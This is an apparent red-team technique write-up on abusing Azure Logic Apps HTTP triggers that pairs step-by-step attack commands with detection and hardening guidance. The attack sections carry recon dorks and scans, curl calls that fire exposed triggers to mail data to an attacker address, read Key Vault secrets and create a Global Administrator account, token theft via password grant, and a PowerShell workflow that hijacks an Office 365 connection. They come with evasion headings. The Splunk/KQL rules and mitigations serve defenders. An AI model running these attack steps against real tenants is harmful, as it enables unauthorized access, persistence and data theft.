| Attribute | Details |
|---|---|
| Technique ID | IA-EXPLOIT-003 |
| MITRE ATT&CK v18.1 | T1190 - Exploit Public-Facing Application |
| Tactic | Initial Access |
| Platforms | Entra ID, Azure, M365 |
| Severity | Critical |
| CVE | N/A (Design Flaw / Misconfiguration) |
| Technique Status | ACTIVE |
| Last Verified | 2025-12-30 |
| Affected Versions | Azure Logic Apps (Consumption & Standard) - All current versions |
| Patched In | N/A - Design pattern requires manual mitigation |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No dedicated Atomic test exists for Logic Apps HTTP trigger exploitation, (2) Logic Apps are cloud-native with no Sysmon instrumentation. Section 12 (Microsoft Defender for Cloud) addresses Logic Apps-specific security recommendations. All section numbers have been dynamically renumbered based on applicability.
Concept: Azure Logic Apps with HTTP triggers are often deployed with overly permissive authentication configurations. By default, these triggers accept requests via SAS (Shared Access Signature) tokens without requiring Entra ID OAuth. Attackers can invoke Logic App workflows remotely, potentially triggering sensitive business processes, accessing connected resources (Storage, Key Vault, SQL), or performing actions on behalf of the Logic App’s Managed Identity. Even when Entra ID authentication is enabled, misconfigured access controls and the ability to reuse authorized API connections allow unauthorized workflow execution.[3][9][23]
Attack Surface: HTTP-triggered Logic App endpoints exposed to the internet, misconfigured authentication policies, over-permissive role-based access control (RBAC) on Logic App resources, and insecure API connections (Azure Storage, Key Vault, Office 365).
Business Impact: Unauthorized execution of automated workflows can lead to data exfiltration, business process disruption, unauthorized API calls on connected systems, lateral movement into cloud resources, or persistence via hijacked API connections.[27]
Technical Context: Exploitation typically requires discovery of the Logic App endpoint (via Shodan, Azure IP scanning, or credential leakage). Once discovered, any unauthenticated attacker can trigger the workflow within seconds. Logging is often sparse unless specifically configured, making detection difficult.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Azure v2.0 | 5.2.1 | Ensure that ‘Enforce HTTPS’ is set to ‘HTTPS only’ for App Services |
| CIS Azure v2.0 | 5.2.3 | Ensure that ‘Managed identity’ is enabled on App Services |
| DISA STIG | SI-12 | Information System Monitoring (Application Logging) |
| NIST 800-53 | AC-3 | Access Enforcement (Unauthorized requests to APIs) |
| NIST 800-53 | SI-4 | Information System Monitoring (Detect HTTP trigger abuse) |
| GDPR | Art. 32 | Security of Processing (Adequate access controls) |
| DORA | Art. 9 | Protection and Prevention (Cyber Risk Controls) |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27001 | A.14.2.1 | System Hardening & Change Management |
Supported Versions:
Tools:
# Enumerate subscriptions and Logic Apps (requires Contributor/Reader role)
Connect-AzAccount
Get-AzSubscription | ForEach-Object {
Select-AzSubscription -SubscriptionId $_.Id
Get-AzLogicApp | Select-Object Name, ResourceGroupName, Location
}
# Extract Logic App trigger URLs (Consumption model)
$logicApp = Get-AzLogicApp -ResourceGroupName "rg-name" -Name "logic-app-name"
$definition = Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "rg-name" -Name "logic-app-name" -TriggerName "manual"
$definition.Value # Contains the HTTP trigger URL with SAS token
What to Look For:
https://<region>.logic.azure.com:443/workflows/<resource-id>/triggers/<trigger-name>/invoke?api-version=2022-05-01&sp=%2Ftriggers...sig=, sp=, sv=)Unauthenticated Reconnaissance (No Azure Credentials):
# Shodan search for exposed Logic Apps
shodan search "logic.azure.com" --limit 100
# Azure IP range scanning
nmap -p 443 <azure-ip-range> --script http-title
# GitHub reconnaissance (Leaked credentials/URLs)
site:github.com "logic.azure.com" OR "azurewebsites.net/api"
site:github.com filetype:env "LOGIC_APP_URL"
What to Look For:
/api/ patternsmylogicapp-prod, workflow-automation)Supported Versions: All (Consumption & Standard with default auth)
Objective: Identify the publicly accessible HTTP trigger URL
Command (curl - reconnaissance):
# If URL is known (e.g., from GitHub leak or Shodan):
curl -v https://<region>.logic.azure.com:443/workflows/<resource-id>/triggers/manual/invoke \
-H "Content-Type: application/json" \
-d '{"test":"payload"}'
# Look for 200/202 response or missing 401 Unauthorized
Command (Shodan search):
# Online via shodan.io interface or CLI:
shodan search "hostname:logic.azure.com" limit:100
# Results will include exposed Logic App endpoints
Expected Output:
HTTP/1.1 202 Accepted
{
"id": "/subscriptions/.../workflows/.../runs/08585...",
"name": "08585...",
"type": "Microsoft.Logic/workflows/runs",
"properties": {
"startTime": "2025-12-30T...",
"endTime": null,
"status": "Running",
"trigger": {...}
}
}
What This Means:
OpSec & Evasion:
Troubleshooting:
403 Forbidden - MissingAuthorizationHeader
400 Bad Request - Invalid JSON
Objective: Execute the Logic App workflow with payload that performs attacker’s objective
Command (Execute sensitive operation):
# Example 1: Trigger Logic App that sends emails (spam/phishing relay)
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
-H "Content-Type: application/json" \
-d '{
"to": "attacker@external.com",
"subject": "Exfiltrated Data",
"body": "Here is sensitive information...",
"attachment": "base64encodeddata"
}'
# Example 2: Trigger Logic App that accesses Key Vault secrets
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
-H "Content-Type: application/json" \
-d '{
"secretName": "admin-password",
"action": "retrieve"
}'
# Example 3: Trigger Logic App that creates Azure AD users (persistence)
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
-H "Content-Type: application/json" \
-d '{
"displayName": "Attacker Admin",
"userPrincipalName": "attacker-admin@tenant.onmicrosoft.com",
"password": "P@ssw0rd123!",
"role": "Global Administrator"
}'
Expected Output: Depends on workflow logic. Common outputs:
What This Means:
OpSec & Evasion:
Troubleshooting:
400 Bad Request - Required parameter missing
Objective: Capture workflow output or establish persistent access
Command (Retrieve run history with output):
# If attacker has Azure credentials or can escalate:
Get-AzLogicAppRunHistory -ResourceGroupName "rg" -Name "logic-app" |
Select-Object -Last 5 |
ForEach-Object { Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName $_.Name }
# Extract output from specific action:
(Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName "run-id" -ActionName "Action_Name").Output
Command (Establish persistence via Logic App modification):
# If attacker has Contributor role on Logic App:
# Modify workflow definition to include attacker's email/webhook endpoint
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$definition = Get-Content -Path "modified-definition.json" -Raw
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition $definition
Expected Behavior:
OpSec & Evasion:
Supported Versions: All (when OAuth is enabled but SAS remains active)
Objective: Acquire an Entra ID access token for Logic App
Command (Device Code Flow - No Credentials):
# Prompt user to authenticate on another device
curl -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/devicecode" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=<client-id>&scope=https://management.core.windows.net/.default"
# Response example:
# {
# "device_code": "NAGXiKa...",
# "user_code": "ABC123DEF",
# "verification_uri": "https://microsoft.com/devicelogin",
# "expires_in": 900
# }
Command (Credentials - If Compromised):
curl -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=<client-id>&username=user@tenant.onmicrosoft.com&password=<password>&grant_type=password&scope=https://management.core.windows.net/.default"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"token_type": "Bearer",
"expires_in": 3599
}
OpSec & Evasion:
Objective: Use Entra ID token to bypass SAS requirement
Command:
# Extract token from previous step
export BEARER_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."
# Invoke Logic App HTTP trigger with OAuth token
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $BEARER_TOKEN" \
-d '{"action": "exfiltrate_data", "target": "attacker@external.com"}'
Expected Output:
HTTP/1.1 202 Accepted
{
"id": "/subscriptions/.../workflows/.../runs/...",
"status": "Running"
}
What This Means:
OpSec & Evasion:
Supported Versions: All (when Logic App has authorized connections to external services)
Objective: Identify authorized connections in target Logic App
Command (PowerShell - Requires Reader role):
# Get Logic App definition
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "target-logic-app"
$definition = $logicApp.Definition | ConvertFrom-Json
# Extract API connections
$definition.resources | Where-Object { $_.type -eq "Microsoft.Web/connections" }
# Or enumerate at subscription level
Get-AzResource -ResourceType "Microsoft.Web/connections" |
Select-Object Name, ResourceGroupName, Properties
Expected Output:
Name: office365
Type: Microsoft.Web/connections
Properties: {
displayName: "Office 365",
customParameterValues: {...},
connectionRuntimeUrl: "https://..."
}
OpSec & Evasion:
Objective: Hijack the authorized API connection for attacker’s workflow
Command (Create malicious Logic App):
# Create a new Logic App in attacker-controlled resource group
$workflowDefinition = @{
"$schema" = "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"
contentVersion = "1.0.0.0"
triggers = @{
manual = @{
type = "Request"
kind = "Http"
inputs = @{
schema = @{}
}
}
}
actions = @{
"Send_Email" = @{
type = "ApiConnection"
inputs = @{
host = @{
connection = @{
name = "@parameters('$connections')['office365']['connectionId']"
}
}
method = "post"
path = "/Mail"
body = @{
To = "attacker@external.com"
Subject = "Exfiltrated Data"
Body = "Retrieved from hijacked connection"
}
}
}
}
parameters = @{
"$connections" = @{
type = "Object"
defaultValue = @{}
}
}
} | ConvertTo-Json -Depth 10
# Deploy the Logic App
New-AzLogicApp -ResourceGroupName "attacker-rg" -Name "hijacked-app" `
-Definition $workflowDefinition -Location "eastus"
Expected Behavior:
OpSec & Evasion:
Rule Configuration:
azure_activity or azure_resource_monitoringazure:logicapps:runtime or azure:auditOperationName, CallerIpAddress, ResultType, ResourceTypeSPL Query:
sourcetype="azure:audit" OperationName="Workflows_WorkflowTriggerInvoked"
ResourceType="Microsoft.Logic/workflows"
| stats count by CallerIpAddress, ResourceName, OperationName
| where count > 3
| eval risk="high"
| table CallerIpAddress, ResourceName, count, risk
What This Detects:
Manual Configuration Steps:
when the result count is greater than 3Source: Splunk Azure Monitoring Add-on Documentation
Rule Configuration:
azure_activityazure:auditOperationName, InitiatedBy, ResourceName, ResultTypeSPL Query:
sourcetype="azure:audit" OperationName="ApiConnections_GetConnectionProperties"
ResourceType="Microsoft.Web/connections"
AND NOT (earliest=@d@d 09:00:00 latest=@d@d 17:30:00)
AND NOT InitiatedBy="*admin*"
| stats count by InitiatedBy, ResourceName, CallerIpAddress
| table InitiatedBy, ResourceName, CallerIpAddress, count
What This Detects:
False Positive Analysis:
AND NOT InitiatedBy IN (backup_service, automation_account)Rule Configuration:
AuditLogs, AzureActivityOperationName, InitiatedBy.user.userPrincipalName, TargetResources, CallerIpAddressKQL Query:
AuditLogs
| where OperationName =~ "Create Logic App" or OperationName =~ "Workflow Triggered"
| where ResultType =~ "Success"
| where InitiatedBy !contains "admin" and InitiatedBy !contains "service"
| extend CallerIP = parse_json(AdditionalDetails)[0].value
| where isnotempty(CallerIP)
| summarize TriggerCount = count() by InitiatedBy, TargetResources, CallerIP, OperationName
| where TriggerCount > 5
| project InitiatedBy, TargetResources, CallerIP, TriggerCount, OperationName
What This Detects:
Manual Configuration Steps (Azure Portal):
Unauthorized Logic App HTTP Trigger InvocationHigh5 minutes1 hourInitiatedBy, TargetResourcesManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "rg-sentinel"
$WorkspaceName = "workspace-prod"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Unauthorized Logic App HTTP Trigger Invocation" `
-Query @"
AuditLogs
| where OperationName =~ "Workflow Triggered"
| where ResultType =~ "Success"
| where InitiatedBy !contains "admin"
| summarize TriggerCount = count() by InitiatedBy, TargetResources
| where TriggerCount > 5
"@ `
-Severity "High" `
-Enabled $true `
-QueryFrequency "PT5M" `
-QueryPeriod "PT1H"
Source: Microsoft Sentinel Detection Strategies - Azure Logic Apps
Rule Configuration:
AuditLogs, CloudAppEventsOperationName, ResourceName, InitiatedByKQL Query:
AuditLogs
| where OperationName =~ "Get Connection Properties" or OperationName contains "Secret"
| where TargetResources contains "connections"
| where ResultType =~ "Success"
| extend TargetResource = parse_json(TargetResources)[0].displayName
| project TimeGenerated, InitiatedBy, OperationName, TargetResource, CallerIpAddress
| summarize CredentialAccessCount = count() by InitiatedBy, TargetResource
| where CredentialAccessCount >= 2
What This Detects:
Not applicable for cloud-native Azure Logic Apps (no local Windows logs). Monitoring occurs in Azure Activity Log and Audit Logs.
Alternative Monitoring:
Manual Configuration Steps (Azure Monitor Alert):
Alert Name: “Suspicious Logic App HTTP Trigger Invocation”
Alert Name: “Logic App Using Overly Permissive Access Controls”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Logic Apps Security Assessment
Search-UnifiedAuditLog -Operations "Workflows_WorkflowTriggerInvoked" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)
Workflows_WorkflowTriggerInvokedAzureLogicAppsCallerIpAddress: Source of trigger invocationResultStatus: Success/Failure of executionObjectId: Logic App resource IDUserId: User or service principal invoking workflowManual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
PowerShell Query:
Connect-ExchangeOnline
$results = Search-UnifiedAuditLog -Operations "Workflows_WorkflowTriggerInvoked" `
-StartDate "12/23/2025" -EndDate "12/30/2025"
$results | Export-Csv -Path "C:\Logic_App_Audit.csv" -NoTypeInformation
https://<region>.logic.azure.com:443/workflows/*/triggers/*/invokeCommand (Disable Logic App):
# Disable the Logic App immediately
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "compromised-logic-app"
Set-AzLogicApp -ResourceGroupName "rg" -Name "compromised-logic-app" -State "Disabled"
Manual (Azure Portal):
Command (Export run history):
# Collect all runs from past 24 hours
$runs = Get-AzLogicAppRunHistory -ResourceGroupName "rg" -Name "logic-app" |
Where-Object { $_.StartTime -gt (Get-Date).AddDays(-1) }
# Export to JSON for forensic analysis
$runs | ConvertTo-Json -Depth 10 | Out-File -Path "C:\Evidence\logic-app-runs.json"
# Collect detailed action outputs
foreach ($run in $runs) {
Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName $run.Name |
Export-Csv -Path "C:\Evidence\run-$($run.Name)-actions.csv"
}
Manual (Azure Portal):
Command (Check for unauthorized modifications):
# Export Logic App definition and compare to version control
$definition = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$definition.Definition | ConvertTo-Json -Depth 10 | Out-File -Path "C:\Evidence\current-definition.json"
# Check for new actions added (e.g., webhook to attacker domain)
$definition.Definition.actions | Where-Object { $_.type -eq "Http" -or $_.type -eq "Webhook" }
Command (Restore from backup definition):
# Restore Logic App to last known-good definition
$cleanDefinition = Get-Content -Path "C:\Backups\logic-app-definition-safe.json" | ConvertFrom-Json
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition ($cleanDefinition | ConvertTo-Json -Depth 10)
# Re-enable Logic App
Set-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -State "Enabled"
1. Disable SAS Authentication on HTTP Triggers
Requires Bicep/ARM template or REST API (not available in portal).
Manual Steps (Bicep Deployment):
resource logicApp 'Microsoft.Logic/workflows@2019-05-01' = {
name: 'my-logic-app'
location: location
properties: {
definition: definition
parameters: parameters
accessControl: {
triggers: {
sasAuthenticationPolicy: {
state: 'Disabled' // CRITICAL: Disables SAS tokens
}
}
}
}
}
Manual Steps (PowerShell):
# Get Logic App resource
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
# Modify definition to disable SAS
$definition = $logicApp.Definition | ConvertFrom-Json
$definition.properties.accessControl = @{
triggers = @{
sasAuthenticationPolicy = @{
state = "Disabled"
}
}
}
# Update Logic App
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" `
-Definition ($definition | ConvertTo-Json -Depth 10)
Validation Command (Verify Fix):
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$logicApp.Definition | ConvertFrom-Json | Select-Object -ExpandProperty properties | Select-Object -ExpandProperty accessControl
Expected Output (If Secure):
triggers
-------
@{sasAuthenticationPolicy=@{state=Disabled}}
What to Look For:
state = "Disabled" indicates SAS tokens are no longer accepted2. Enforce Entra ID Authentication with Specific Roles
Manual Steps (PowerShell - Configure OAuth):
# Configure Logic App to require Entra ID OAuth with specific app role
# Step 1: Create App Registration for Logic App
$appReg = New-AzADApplication -DisplayName "logic-app-auth" -IdentifierUris "api://logic-app-auth"
# Step 2: Create service principal
New-AzADServicePrincipal -ApplicationId $appReg.Id
# Step 3: Configure Logic App trigger with OAuth
$definition = $logicApp.Definition | ConvertFrom-Json
# Add authorization policy to trigger
$definition.triggers.manual = @{
type = "Request"
kind = "Http"
inputs = @{
schema = @{}
}
operationOptions = "IncludeAuthorizationHeadersInOutputs"
}
# Add authorization policy
$definition | Add-Member -MemberType NoteProperty -Name "authorizations" -Value @{
oauth2 = @{
policies = @{
AAD = @{
type = "AAD"
issuer = "https://sts.windows.net/<tenant-id>/"
audience = "api://logic-app-auth"
appid = $appReg.Id
}
}
}
}
# Update Logic App
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition ($definition | ConvertTo-Json -Depth 10)
Manual Steps (Azure Portal - Role-Based Access):
3. Implement Conditional Access Policy
Manual Steps:
Restrict Logic App Access to Managed Devices4. Implement IP Restrictions
Manual Steps (Consumption Logic App):
Manual Steps (Standard Logic App):
resource logicApp 'Microsoft.Web/sites@2021-02-01' = {
properties: {
serverFarmId: appServicePlan.id
ipSecurityRestrictions: [
{
ipAddress: '203.0.113.0/24' // Allowed IP range
action: 'Allow'
priority: 100
name: 'AllowCorporateNetwork'
}
{
ipAddress: '0.0.0.0/0'
action: 'Deny'
priority: 200
name: 'DenyAllOthers'
}
]
}
}
5. Audit and Monitor API Connections
Manual Steps:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] | Logic App HTTP Trigger Abuse |
| 2 | Execution | [T1651 - Resource Hijacking] | Logic App executes attacker’s payload (C# inline code execution possible) |
| 3 | Lateral Movement | [T1550 - Use Alternate Authentication] | Attacker reuses Logic App’s Managed Identity to access other Azure resources |
| 4 | Persistence | [T1136 - Create Account] | Logic App creates new Entra ID accounts with admin roles |
| 5 | Exfiltration | [T1537 - Transfer Data to Cloud Account] | Logic App sends stolen data via authorized Office 365/Email connection |
Note: No dedicated Atomic Red Team test exists for Logic Apps HTTP trigger abuse as of v5.0. The MITRE ATT&CK community recognizes T1190 (Exploit Public-Facing Application) but has not yet released Logic Apps-specific tests.
Alternative Testing Approach:
Custom Test Script:
# Atomic Red Team - Custom Logic App Test
function Invoke-LogicAppTest {
param(
[string]$LogicAppUrl,
[hashtable]$Payload
)
$response = Invoke-WebRequest -Uri $LogicAppUrl `
-Method POST `
-ContentType "application/json" `
-Body ($Payload | ConvertTo-Json)
if ($response.StatusCode -eq 202) {
Write-Host "[+] Logic App triggered successfully (202 Accepted)"
return $true
} else {
Write-Host "[-] Logic App trigger failed with status: $($response.StatusCode)"
return $false
}
}
# Usage:
# Invoke-LogicAppTest -LogicAppUrl "https://..." -Payload @{action="test"}